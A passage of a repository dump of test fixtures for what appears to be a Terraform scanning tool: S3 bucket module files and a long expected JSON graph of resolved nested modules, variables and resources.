data.null_data_source.downloaded_package.outputs["filename"] } ================================================ FILE: tests/terraform/graph/resources/modules/linked_modules/external_modules/terraform-aws-modules/s3-bucket/main.tf ================================================ resource "aws_s3_bucket" "this" { count = 1 bucket = var.bucket acl = "" tags = {} force_destroy = false } resource "aws_s3_bucket_policy" "this" { count = var.create_bucket && (var.attach_elb_log_delivery_policy || var.attach_policy) ? 1 : 0 bucket = aws_s3_bucket.this[0].id policy = var.attach_elb_log_delivery_policy ? {} : var.policy } ================================================ FILE: tests/terraform/graph/resources/modules/linked_modules/external_modules/terraform-aws-modules/s3-bucket/outputs.tf ================================================ output "this_s3_bucket_id" { description = "The name of the bucket." value = element(concat(aws_s3_bucket_policy.this.*.id, aws_s3_bucket.this.*.id, list("")), 0) } ================================================ FILE: tests/terraform/graph/resources/modules/linked_modules/external_modules/terraform-aws-modules/s3-bucket/variables.tf ================================================ variable "create_bucket" { description = "Controls if S3 bucket should be created" type = bool default = true } variable "attach_elb_log_delivery_policy" { description = "Controls if S3 bucket should have ELB log delivery policy attached" type = bool default = false } variable "attach_policy" { description = "Controls if S3 bucket should have bucket policy attached (set to `true` to use value of `policy` as bucket policy)" type = bool default = false } variable "bucket" { description = "(Optional, Forces new resource) The name of the bucket. If omitted, Terraform will assign a random, unique name." type = string default = null } variable "policy" { description = "(Optional) A valid bucket policy JSON document. Note that if the policy document is not specific enough (but still valid), Terraform may view the policy as constantly changing in a terraform plan. In this case, please make sure you use the verbose/specific version of the policy. For more information about building AWS IAM policy documents with Terraform, see the AWS IAM Policy Document Guide." type = string default = null } ================================================ FILE: tests/terraform/graph/resources/modules/nested_modules_instances/another_one/main.tf ================================================ module "another_s3_module" { source = "../module3" bucket = aws_s3_bucket.example_another.id } resource "aws_s3_bucket" "example_another" { bucket = "example_another" } ================================================ FILE: tests/terraform/graph/resources/modules/nested_modules_instances/another_one/variable.tf ================================================ variable "bucket" { type = string } ================================================ FILE: tests/terraform/graph/resources/modules/nested_modules_instances/example.tfcloud/main.tf ================================================ resource "aws_s3_bucket" "example3" { bucket = "example" } ================================================ FILE: tests/terraform/graph/resources/modules/nested_modules_instances/expected_local_graph.json ================================================ { "vertices": [ { "attributes": { "__end_line__": 5, "__start_line__": 1, "bucket": [ "aws_s3_bucket.example_another.id" ], "source": [ "../module3" ], "__address__": "another_s3_module" }, "block_type": "module", "breadcrumbs": {}, "config": { "another_s3_module": { "__end_line__": 5, "__resolved__": [ "/module3/main.tf([{/another_one/main.tf#*#0}])", "/module3/variable.tf([{/another_one/main.tf#*#0}])" ], "__start_line__": 1, "bucket": [ "aws_s3_bucket.example_another.id" ], "source": [ "../module3" ], "__address__": "another_s3_module" } }, "id": "", "module_connections": {}, "module_dependency": null, "module_dependency_num": null, "name": "another_s3_module", "path": "/another_one/main.tf", "source": "TERRAFORM", "source_module": [] }, { "attributes": { "__end_line__": 9, "__start_line__": 7, "bucket": [ "example_another" ], "resource_type": [ "aws_s3_bucket" ], "encryption_": "ENCRYPTED", "encryption_details_": "AES256", "__address__": "aws_s3_bucket.example_another" }, "block_type": "resource", "breadcrumbs": {}, "config": { "aws_s3_bucket": { "example_another": { "__end_line__": 9, "__start_line__": 7, "bucket": [ "example_another" ], "__address__": "aws_s3_bucket.example_another" } } }, "id": "aws_s3_bucket.example_another", "module_connections": {}, "module_dependency": null, "module_dependency_num": null, "name": "aws_s3_bucket.example_another", "path": "/another_one/main.tf", "source": "TERRAFORM", "source_module": [] }, { "attributes": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "__address__": "bucket" }, "block_type": "variable", "breadcrumbs": {}, "config": { "bucket": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "__address__": "bucket" } }, "id": "", "module_connections": {}, "module_dependency": null, "module_dependency_num": null, "name": "bucket", "path": "/another_one/variable.tf", "source": "TERRAFORM", "source_module": [] }, { "attributes": { "__end_line__": 3, "__start_line__": 1, "bucket": [ "example" ], "resource_type": [ "aws_s3_bucket" ], "encryption_": "ENCRYPTED", "encryption_details_": "AES256", "__address__": "aws_s3_bucket.example3" }, "block_type": "resource", "breadcrumbs": {}, "config": { "aws_s3_bucket": { "example3": { "__end_line__": 3, "__start_line__": 1, "bucket": [ "example" ], "__address__": "aws_s3_bucket.example3" } } }, "id": "aws_s3_bucket.example3", "module_connections": {}, "module_dependency": null, "module_dependency_num": null, "name": "aws_s3_bucket.example3", "path": "/example.tfcloud/main.tf", "source": "TERRAFORM", "source_module": [] }, { "attributes": { "__end_line__": 9, "__start_line__": 5, "bucket": [ "aws_s3_bucket.example.id" ], "source": [ "./module" ], "__address__": "s3_module" }, "block_type": "module", "breadcrumbs": {}, "config": { "s3_module": { "__end_line__": 9, "__resolved__": [ "/module/main.tf([{/main.tf#*#0}])", "/module/variable.tf([{/main.tf#*#0}])" ], "__start_line__": 5, "bucket": [ "aws_s3_bucket.example.id" ], "source": [ "./module" ], "__address__": "s3_module" } }, "id": "", "module_connections": {}, "module_dependency": null, "module_dependency_num": null, "name": "s3_module", "path": "/main.tf", "source": "TERRAFORM", "source_module": [] }, { "attributes": { "__end_line__": 15, "__start_line__": 11, "bucket": [ "aws_s3_bucket.example2.id" ], "source": [ "./module" ], "__address__": "s3_module2" }, "block_type": "module", "breadcrumbs": {}, "config": { "s3_module2": { "__end_line__": 15, "__resolved__": [ "/module/main.tf([{/main.tf#*#1}])", "/module/variable.tf([{/main.tf#*#1}])" ], "__start_line__": 11, "bucket": [ "aws_s3_bucket.example2.id" ], "source": [ "./module" ], "__address__": "s3_module2" } }, "id": "", "module_connections": {}, "module_dependency": null, "module_dependency_num": null, "name": "s3_module2", "path": "/main.tf", "source": "TERRAFORM", "source_module": [] }, { "attributes": { "__end_line__": 3, "__start_line__": 1, "region": [ "us-west-2" ], "__address__": "aws.default" }, "block_type": "provider", "breadcrumbs": {}, "config": { "aws": { "__end_line__": 3, "__start_line__": 1, "region": [ "us-west-2" ], "__address__": "aws.default" } }, "id": "", "module_connections": {}, "module_dependency": null, "module_dependency_num": null, "name": "aws", "path": "/main.tf", "source": "TERRAFORM", "source_module": [] }, { "attributes": { "__end_line__": 19, "__start_line__": 17, "bucket": [ "example" ], "resource_type": [ "aws_s3_bucket" ], "encryption_": "ENCRYPTED", "encryption_details_": "AES256", "__address__": "aws_s3_bucket.example" }, "block_type": "resource", "breadcrumbs": {}, "config": { "aws_s3_bucket": { "example": { "__end_line__": 19, "__start_line__": 17, "bucket": [ "example" ], "__address__": "aws_s3_bucket.example" } } }, "id": "aws_s3_bucket.example", "module_connections": {}, "module_dependency": null, "module_dependency_num": null, "name": "aws_s3_bucket.example", "path": "/main.tf", "source": "TERRAFORM", "source_module": [] }, { "attributes": { "__end_line__": 23, "__start_line__": 21, "bucket": [ "example" ], "resource_type": [ "aws_s3_bucket" ], "encryption_": "ENCRYPTED", "encryption_details_": "AES256", "__address__": "aws_s3_bucket.example2" }, "block_type": "resource", "breadcrumbs": {}, "config": { "aws_s3_bucket": { "example2": { "__end_line__": 23, "__start_line__": 21, "bucket": [ "example" ], "__address__": "aws_s3_bucket.example2" } } }, "id": "aws_s3_bucket.example2", "module_connections": {}, "module_dependency": null, "module_dependency_num": null, "name": "aws_s3_bucket.example2", "path": "/main.tf", "source": "TERRAFORM", "source_module": [] }, { "attributes": { "__end_line__": 4, "__start_line__": 1, "bucket2": [ "aws_s3_bucket.example.id" ], "source": [ "../module2" ], "__address__": "module.s3_module.inner_s3_module" }, "block_type": "module", "breadcrumbs": { "bucket2": [ { "type": "module", "name": "s3_module", "path": "/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket", "path": "/module/variable.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module", "path": "/main.tf", "idx": 4 } ] }, "config": { "inner_s3_module": { "__end_line__": 4, "__resolved__": [ "/module2/main.tf([{/module/main.tf#*#0([{/main.tf#*#0}])}])", "/module2/variable.tf([{/module/main.tf#*#0([{/main.tf#*#0}])}])" ], "__start_line__": 1, "bucket2": [ "aws_s3_bucket.example.id" ], "source": [ "../module2" ], "__address__": "module.s3_module.inner_s3_module" } }, "id": "", "module_connections": {}, "module_dependency": "/main.tf", "module_dependency_num": "0", "name": "inner_s3_module", "path": "/module/main.tf", "source": "TERRAFORM", "source_module": [ 4 ] }, { "attributes": { "__end_line__": 9, "__start_line__": 6, "bucket2": [ "aws_s3_bucket.example.id" ], "source": [ "../module2" ], "__address__": "module.s3_module.inner_s3_module_2" }, "block_type": "module", "breadcrumbs": { "bucket2": [ { "type": "module", "name": "s3_module", "path": "/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket", "path": "/module/variable.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module", "path": "/main.tf", "idx": 4 } ] }, "config": { "inner_s3_module_2": { "__end_line__": 9, "__resolved__": [ "/module2/main.tf([{/module/main.tf#*#1([{/main.tf#*#0}])}])", "/module2/variable.tf([{/module/main.tf#*#1([{/main.tf#*#0}])}])" ], "__start_line__": 6, "bucket2": [ "aws_s3_bucket.example.id" ], "source": [ "../module2" ], "__address__": "module.s3_module.inner_s3_module_2" } }, "id": "", "module_connections": {}, "module_dependency": "/main.tf", "module_dependency_num": "0", "name": "inner_s3_module_2", "path": "/module/main.tf", "source": "TERRAFORM", "source_module": [ 4 ] }, { "attributes": { "__end_line__": 4, "__start_line__": 1, "bucket2": [ "aws_s3_bucket.example2.id" ], "source": [ "../module2" ], "__address__": "module.s3_module2.inner_s3_module" }, "block_type": "module", "breadcrumbs": { "bucket2": [ { "type": "module", "name": "s3_module2", "path": "/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket", "path": "/module/variable.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module2", "path": "/main.tf", "idx": 5 } ] }, "config": { "inner_s3_module": { "__end_line__": 4, "__resolved__": [ "/module2/main.tf([{/module/main.tf#*#0([{/main.tf#*#1}])}])", "/module2/variable.tf([{/module/main.tf#*#0([{/main.tf#*#1}])}])" ], "__start_line__": 1, "bucket2": [ "aws_s3_bucket.example2.id" ], "source": [ "../module2" ], "__address__": "module.s3_module2.inner_s3_module" } }, "id": "", "module_connections": {}, "module_dependency": "/main.tf", "module_dependency_num": "1", "name": "inner_s3_module", "path": "/module/main.tf", "source": "TERRAFORM", "source_module": [ 5 ] }, { "attributes": { "__end_line__": 9, "__start_line__": 6, "bucket2": [ "aws_s3_bucket.example2.id" ], "source": [ "../module2" ], "__address__": "module.s3_module2.inner_s3_module_2" }, "block_type": "module", "breadcrumbs": { "bucket2": [ { "type": "module", "name": "s3_module2", "path": "/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket", "path": "/module/variable.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module2", "path": "/main.tf", "idx": 5 } ] }, "config": { "inner_s3_module_2": { "__end_line__": 9, "__resolved__": [ "/module2/main.tf([{/module/main.tf#*#1([{/main.tf#*#1}])}])", "/module2/variable.tf([{/module/main.tf#*#1([{/main.tf#*#1}])}])" ], "__start_line__": 6, "bucket2": [ "aws_s3_bucket.example2.id" ], "source": [ "../module2" ], "__address__": "module.s3_module2.inner_s3_module_2" } }, "id": "", "module_connections": {}, "module_dependency": "/main.tf", "module_dependency_num": "1", "name": "inner_s3_module_2", "path": "/module/main.tf", "source": "TERRAFORM", "source_module": [ 5 ] }, { "attributes": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "default": [ "aws_s3_bucket.example.id" ], "__address__": "module.s3_module.bucket" }, "block_type": "variable", "breadcrumbs": { "default": [ { "type": "module", "name": "s3_module", "path": "/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket", "path": "/module/variable.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module", "path": "/main.tf", "idx": 4 } ] }, "config": { "bucket": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "__address__": "module.s3_module.bucket" } }, "id": "", "module_connections": {}, "module_dependency": "/main.tf", "module_dependency_num": "0", "name": "bucket", "path": "/module/variable.tf", "source": "TERRAFORM", "source_module": [ 4 ] }, { "attributes": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "default": [ "aws_s3_bucket.example2.id" ], "__address__": "module.s3_module2.bucket" }, "block_type": "variable", "breadcrumbs": { "default": [ { "type": "module", "name": "s3_module2", "path": "/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket", "path": "/module/variable.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module2", "path": "/main.tf", "idx": 5 } ] }, "config": { "bucket": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "__address__": "module.s3_module2.bucket" } }, "id": "", "module_connections": {}, "module_dependency": "/main.tf", "module_dependency_num": "1", "name": "bucket", "path": "/module/variable.tf", "source": "TERRAFORM", "source_module": [ 5 ] }, { "attributes": { "__end_line__": 4, "__start_line__": 1, "bucket2": [ "aws_s3_bucket.example.id" ], "source": [ "../module3" ], "__address__": "module.s3_module.module.inner_s3_module.inner_s3_module2" }, "block_type": "module", "breadcrumbs": { "bucket2": [ { "type": "module", "name": "inner_s3_module", "path": "/module/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module2/variable.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module", "path": "/main.tf", "idx": 4 }, { "type": "module", "name": "inner_s3_module", "path": "/module/main.tf", "idx": 9 } ] }, "config": { "inner_s3_module2": { "__end_line__": 4, "__resolved__": [ "/module3/main.tf([{/module2/main.tf#*#0([{/module/main.tf#*#0([{/main.tf#*#0}])}])}])", "/module3/variable.tf([{/module2/main.tf#*#0([{/module/main.tf#*#0([{/main.tf#*#0}])}])}])" ], "__start_line__": 1, "bucket2": [ "aws_s3_bucket.example.id" ], "source": [ "../module3" ], "__address__": "module.s3_module.module.inner_s3_module.inner_s3_module2" } }, "id": "", "module_connections": {}, "module_dependency": "/module/main.tf([{/main.tf#*#0}])", "module_dependency_num": "0", "name": "inner_s3_module2", "path": "/module2/main.tf", "source": "TERRAFORM", "source_module": [ 9 ] }, { "attributes": { "__end_line__": 4, "__start_line__": 1, "bucket2": [ "aws_s3_bucket.example2.id" ], "source": [ "../module3" ], "__address__": "module.s3_module2.module.inner_s3_module.inner_s3_module2" }, "block_type": "module", "breadcrumbs": { "bucket2": [ { "type": "module", "name": "inner_s3_module", "path": "/module/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module2/variable.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module2", "path": "/main.tf", "idx": 5 }, { "type": "module", "name": "inner_s3_module", "path": "/module/main.tf", "idx": 11 } ] }, "config": { "inner_s3_module2": { "__end_line__": 4, "__resolved__": [ "/module3/main.tf([{/module2/main.tf#*#0([{/module/main.tf#*#0([{/main.tf#*#1}])}])}])", "/module3/variable.tf([{/module2/main.tf#*#0([{/module/main.tf#*#0([{/main.tf#*#1}])}])}])" ], "__start_line__": 1, "bucket2": [ "aws_s3_bucket.example2.id" ], "source": [ "../module3" ], "__address__": "module.s3_module2.module.inner_s3_module.inner_s3_module2" } }, "id": "", "module_connections": {}, "module_dependency": "/module/main.tf([{/main.tf#*#1}])", "module_dependency_num": "0", "name": "inner_s3_module2", "path": "/module2/main.tf", "source": "TERRAFORM", "source_module": [ 11 ] }, { "attributes": { "__end_line__": 4, "__start_line__": 1, "bucket2": [ "aws_s3_bucket.example.id" ], "source": [ "../module3" ], "__address__": "module.s3_module.module.inner_s3_module_2.inner_s3_module2" }, "block_type": "module", "breadcrumbs": { "bucket2": [ { "type": "module", "name": "inner_s3_module_2", "path": "/module/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module2/variable.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module", "path": "/main.tf", "idx": 4 }, { "type": "module", "name": "inner_s3_module_2", "path": "/module/main.tf", "idx": 10 } ] }, "config": { "inner_s3_module2": { "__end_line__": 4, "__resolved__": [ "/module3/main.tf([{/module2/main.tf#*#0([{/module/main.tf#*#1([{/main.tf#*#0}])}])}])", "/module3/variable.tf([{/module2/main.tf#*#0([{/module/main.tf#*#1([{/main.tf#*#0}])}])}])" ], "__start_line__": 1, "bucket2": [ "aws_s3_bucket.example.id" ], "source": [ "../module3" ], "__address__": "module.s3_module.module.inner_s3_module_2.inner_s3_module2" } }, "id": "", "module_connections": {}, "module_dependency": "/module/main.tf([{/main.tf#*#0}])", "module_dependency_num": "1", "name": "inner_s3_module2", "path": "/module2/main.tf", "source": "TERRAFORM", "source_module": [ 10 ] }, { "attributes": { "__end_line__": 4, "__start_line__": 1, "bucket2": [ "aws_s3_bucket.example2.id" ], "source": [ "../module3" ], "__address__": "module.s3_module2.module.inner_s3_module_2.inner_s3_module2" }, "block_type": "module", "breadcrumbs": { "bucket2": [ { "type": "module", "name": "inner_s3_module_2", "path": "/module/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module2/variable.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module2", "path": "/main.tf", "idx": 5 }, { "type": "module", "name": "inner_s3_module_2", "path": "/module/main.tf", "idx": 12 } ] }, "config": { "inner_s3_module2": { "__end_line__": 4, "__resolved__": [ "/module3/main.tf([{/module2/main.tf#*#0([{/module/main.tf#*#1([{/main.tf#*#1}])}])}])", "/module3/variable.tf([{/module2/main.tf#*#0([{/module/main.tf#*#1([{/main.tf#*#1}])}])}])" ], "__start_line__": 1, "bucket2": [ "aws_s3_bucket.example2.id" ], "source": [ "../module3" ], "__address__": "module.s3_module2.module.inner_s3_module_2.inner_s3_module2" } }, "id": "", "module_connections": {}, "module_dependency": "/module/main.tf([{/main.tf#*#1}])", "module_dependency_num": "1", "name": "inner_s3_module2", "path": "/module2/main.tf", "source": "TERRAFORM", "source_module": [ 12 ] }, { "attributes": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "default": [ "aws_s3_bucket.example.id" ], "__address__": "module.s3_module.module.inner_s3_module.bucket2" }, "block_type": "variable", "breadcrumbs": { "default": [ { "type": "module", "name": "inner_s3_module", "path": "/module/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module2/variable.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module", "path": "/main.tf", "idx": 4 }, { "type": "module", "name": "inner_s3_module", "path": "/module/main.tf", "idx": 9 } ] }, "config": { "bucket2": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "__address__": "module.s3_module.module.inner_s3_module.bucket2" } }, "id": "", "module_connections": {}, "module_dependency": "/module/main.tf([{/main.tf#*#0}])", "module_dependency_num": "0", "name": "bucket2", "path": "/module2/variable.tf", "source": "TERRAFORM", "source_module": [ 9 ] }, { "attributes": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "default": [ "aws_s3_bucket.example2.id" ], "__address__": "module.s3_module2.module.inner_s3_module.bucket2" }, "block_type": "variable", "breadcrumbs": { "default": [ { "type": "module", "name": "inner_s3_module", "path": "/module/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module2/variable.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module2", "path": "/main.tf", "idx": 5 }, { "type": "module", "name": "inner_s3_module", "path": "/module/main.tf", "idx": 11 } ] }, "config": { "bucket2": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "__address__": "module.s3_module2.module.inner_s3_module.bucket2" } }, "id": "", "module_connections": {}, "module_dependency": "/module/main.tf([{/main.tf#*#1}])", "module_dependency_num": "0", "name": "bucket2", "path": "/module2/variable.tf", "source": "TERRAFORM", "source_module": [ 11 ] }, { "attributes": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "default": [ "aws_s3_bucket.example.id" ], "__address__": "module.s3_module.module.inner_s3_module_2.bucket2" }, "block_type": "variable", "breadcrumbs": { "default": [ { "type": "module", "name": "inner_s3_module_2", "path": "/module/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module2/variable.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module", "path": "/main.tf", "idx": 4 }, { "type": "module", "name": "inner_s3_module_2", "path": "/module/main.tf", "idx": 10 } ] }, "config": { "bucket2": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "__address__": "module.s3_module.module.inner_s3_module_2.bucket2" } }, "id": "", "module_connections": {}, "module_dependency": "/module/main.tf([{/main.tf#*#0}])", "module_dependency_num": "1", "name": "bucket2", "path": "/module2/variable.tf", "source": "TERRAFORM", "source_module": [ 10 ] }, { "attributes": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "default": [ "aws_s3_bucket.example2.id" ], "__address__": "module.s3_module2.module.inner_s3_module_2.bucket2" }, "block_type": "variable", "breadcrumbs": { "default": [ { "type": "module", "name": "inner_s3_module_2", "path": "/module/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module2/variable.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module2", "path": "/main.tf", "idx": 5 }, { "type": "module", "name": "inner_s3_module_2", "path": "/module/main.tf", "idx": 12 } ] }, "config": { "bucket2": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "__address__": "module.s3_module2.module.inner_s3_module_2.bucket2" } }, "id": "", "module_connections": {}, "module_dependency": "/module/main.tf([{/main.tf#*#1}])", "module_dependency_num": "1", "name": "bucket2", "path": "/module2/variable.tf", "source": "TERRAFORM", "source_module": [ 12 ] }, { "attributes": { "bucket2": [ "var.bucket2" ], "__address__": "module.another_s3_module.bucket2" }, "block_type": "locals", "breadcrumbs": { "source_module_": [ { "type": "module", "name": "another_s3_module", "path": "/another_one/main.tf", "idx": 0 } ] }, "config": { "bucket2": [ "var.bucket2" ], "__address__": "module.another_s3_module.bucket2" }, "id": "", "module_connections": {}, "module_dependency": "/another_one/main.tf", "module_dependency_num": "0", "name": "bucket2", "path": "/module3/main.tf", "source": "TERRAFORM", "source_module": [ 0 ] }, { "attributes": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "var.bucket2" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "resource_type": [ "aws_s3_bucket" ], "encryption_": "ENCRYPTED", "encryption_details_": "AES256", "__address__": "module.another_s3_module.aws_s3_bucket.var_bucket" }, "block_type": "resource", "breadcrumbs": { "bucket": [ { "type": "locals", "name": "bucket2", "path": "/module3/main.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "another_s3_module", "path": "/another_one/main.tf", "idx": 0 } ] }, "config": { "aws_s3_bucket": { "var_bucket": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "var.bucket2" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "__address__": "module.another_s3_module.aws_s3_bucket.var_bucket" } } }, "id": "aws_s3_bucket.var_bucket", "module_connections": {}, "module_dependency": "/another_one/main.tf", "module_dependency_num": "0", "name": "aws_s3_bucket.var_bucket", "path": "/module3/main.tf", "source": "TERRAFORM", "source_module": [ 0 ] }, { "attributes": { "bucket2": [ "aws_s3_bucket.example.id" ], "__address__": "module.s3_module.module.inner_s3_module.module.inner_s3_module2.bucket2" }, "block_type": "locals", "breadcrumbs": { "bucket2": [ { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module3/variable.tf", "module_connection": false }, { "type": "locals", "name": "bucket2", "path": "/module3/main.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module", "path": "/main.tf", "idx": 4 }, { "type": "module", "name": "inner_s3_module", "path": "/module/main.tf", "idx": 9 }, { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "idx": 15 } ] }, "config": { "bucket2": [ "aws_s3_bucket.example.id" ], "__address__": "module.s3_module.module.inner_s3_module.module.inner_s3_module2.bucket2" }, "id": "", "module_connections": {}, "module_dependency": "/module2/main.tf([{/module/main.tf#*#0([{/main.tf#*#0}])}])", "module_dependency_num": "0", "name": "bucket2", "path": "/module3/main.tf", "source": "TERRAFORM", "source_module": [ 15 ] }, { "attributes": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "aws_s3_bucket.example.id" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "resource_type": [ "aws_s3_bucket" ], "encryption_": "ENCRYPTED", "encryption_details_": "AES256", "__address__": "module.s3_module.module.inner_s3_module.module.inner_s3_module2.aws_s3_bucket.var_bucket" }, "block_type": "resource", "breadcrumbs": { "bucket": [ { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module3/variable.tf", "module_connection": false }, { "type": "locals", "name": "bucket2", "path": "/module3/main.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module", "path": "/main.tf", "idx": 4 }, { "type": "module", "name": "inner_s3_module", "path": "/module/main.tf", "idx": 9 }, { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "idx": 15 } ] }, "config": { "aws_s3_bucket": { "var_bucket": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "aws_s3_bucket.example.id" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "__address__": "module.s3_module.module.inner_s3_module.module.inner_s3_module2.aws_s3_bucket.var_bucket" } } }, "id": "aws_s3_bucket.var_bucket", "module_connections": {}, "module_dependency": "/module2/main.tf([{/module/main.tf#*#0([{/main.tf#*#0}])}])", "module_dependency_num": "0", "name": "aws_s3_bucket.var_bucket", "path": "/module3/main.tf", "source": "TERRAFORM", "source_module": [ 15 ] }, { "attributes": { "bucket2": [ "aws_s3_bucket.example2.id" ], "__address__": "module.s3_module2.module.inner_s3_module.module.inner_s3_module2.bucket2" }, "block_type": "locals", "breadcrumbs": { "bucket2": [ { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module3/variable.tf", "module_connection": false }, { "type": "locals", "name": "bucket2", "path": "/module3/main.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module2", "path": "/main.tf", "idx": 5 }, { "type": "module", "name": "inner_s3_module", "path": "/module/main.tf", "idx": 11 }, { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "idx": 16 } ] }, "config": { "bucket2": [ "aws_s3_bucket.example2.id" ], "__address__": "module.s3_module2.module.inner_s3_module.module.inner_s3_module2.bucket2" }, "id": "", "module_connections": {}, "module_dependency": "/module2/main.tf([{/module/main.tf#*#0([{/main.tf#*#1}])}])", "module_dependency_num": "0", "name": "bucket2", "path": "/module3/main.tf", "source": "TERRAFORM", "source_module": [ 16 ] }, { "attributes": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "aws_s3_bucket.example2.id" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "resource_type": [ "aws_s3_bucket" ], "encryption_": "ENCRYPTED", "encryption_details_": "AES256", "__address__": "module.s3_module2.module.inner_s3_module.module.inner_s3_module2.aws_s3_bucket.var_bucket" }, "block_type": "resource", "breadcrumbs": { "bucket": [ { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module3/variable.tf", "module_connection": false }, { "type": "locals", "name": "bucket2", "path": "/module3/main.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module2", "path": "/main.tf", "idx": 5 }, { "type": "module", "name": "inner_s3_module", "path": "/module/main.tf", "idx": 11 }, { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "idx": 16 } ] }, "config": { "aws_s3_bucket": { "var_bucket": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "aws_s3_bucket.example2.id" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "__address__": "module.s3_module2.module.inner_s3_module.module.inner_s3_module2.aws_s3_bucket.var_bucket" } } }, "id": "aws_s3_bucket.var_bucket", "module_connections": {}, "module_dependency": "/module2/main.tf([{/module/main.tf#*#0([{/main.tf#*#1}])}])", "module_dependency_num": "0", "name": "aws_s3_bucket.var_bucket", "path": "/module3/main.tf", "source": "TERRAFORM", "source_module": [ 16 ] }, { "attributes": { "bucket2": [ "aws_s3_bucket.example.id" ], "__address__": "module.s3_module.module.inner_s3_module_2.module.inner_s3_module2.bucket2" }, "block_type": "locals", "breadcrumbs": { "bucket2": [ { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module3/variable.tf", "module_connection": false }, { "type": "locals", "name": "bucket2", "path": "/module3/main.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module", "path": "/main.tf", "idx": 4 }, { "type": "module", "name": "inner_s3_module_2", "path": "/module/main.tf", "idx": 10 }, { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "idx": 17 } ] }, "config": { "bucket2": [ "aws_s3_bucket.example.id" ], "__address__": "module.s3_module.module.inner_s3_module_2.module.inner_s3_module2.bucket2" }, "id": "", "module_connections": {}, "module_dependency": "/module2/main.tf([{/module/main.tf#*#1([{/main.tf#*#0}])}])", "module_dependency_num": "0", "name": "bucket2", "path": "/module3/main.tf", "source": "TERRAFORM", "source_module": [ 17 ] }, { "attributes": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ 